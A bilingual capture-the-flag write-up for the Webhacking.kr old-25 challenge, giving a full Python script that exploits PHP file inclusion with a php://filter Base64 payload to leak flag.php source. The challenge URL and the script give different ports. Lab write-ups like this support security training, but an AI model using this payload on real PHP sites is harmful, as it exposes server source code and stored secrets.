Webhacking.kr old-25

Challenge

Read the flag source through the file parameter.

通过 file 参数读取 flag 源码。

1
http://webhacking.kr:10001/

Analysis

file 参数进入 PHP 的文件包含路径,服务端会在资源名后补上 .php。直接包含 flag 会执行其中的 PHP;把路径改成 php://filter/convert.base64-encode/resource=flag 后,PHP 先读取 flag.php,再将源码编码为 Base64,源码内容不会被执行。

Solution

完整请求脚本如下。它从响应中提取 Base64 字符串并尝试解码,直到找到包含 PHP flag 变量的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
import base64
import re

import requests

URL = "http://webhacking.kr:10017/"
FILTER_PATH = "php://filter/convert.base64-encode/resource=flag"

def decode_source(response_text: str) -> str:
candidates = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", response_text)
for token in candidates:
padded = token + "=" * (-len(token) % 4)
try:
decoded = base64.b64decode(padded, validate=True).decode(
"utf-8", errors="replace"
)
except (ValueError, UnicodeError):
continue
if "$flag" in decoded or "FLAG{" in decoded:
return decoded
raise RuntimeError("response did not contain decodable flag source")

def main() -> None:
response = requests.get(
URL,
params={"file": FILTER_PATH},
timeout=20,
)
response.raise_for_status()
print(decode_source(response.text))

if __name__ == "__main__":
main()

从响应中读取并解码 flag.php 源码后,将其中的 flag 填入认证表单。

服务端响应模板变化时,应先从响应中定位实际 Base64 内容。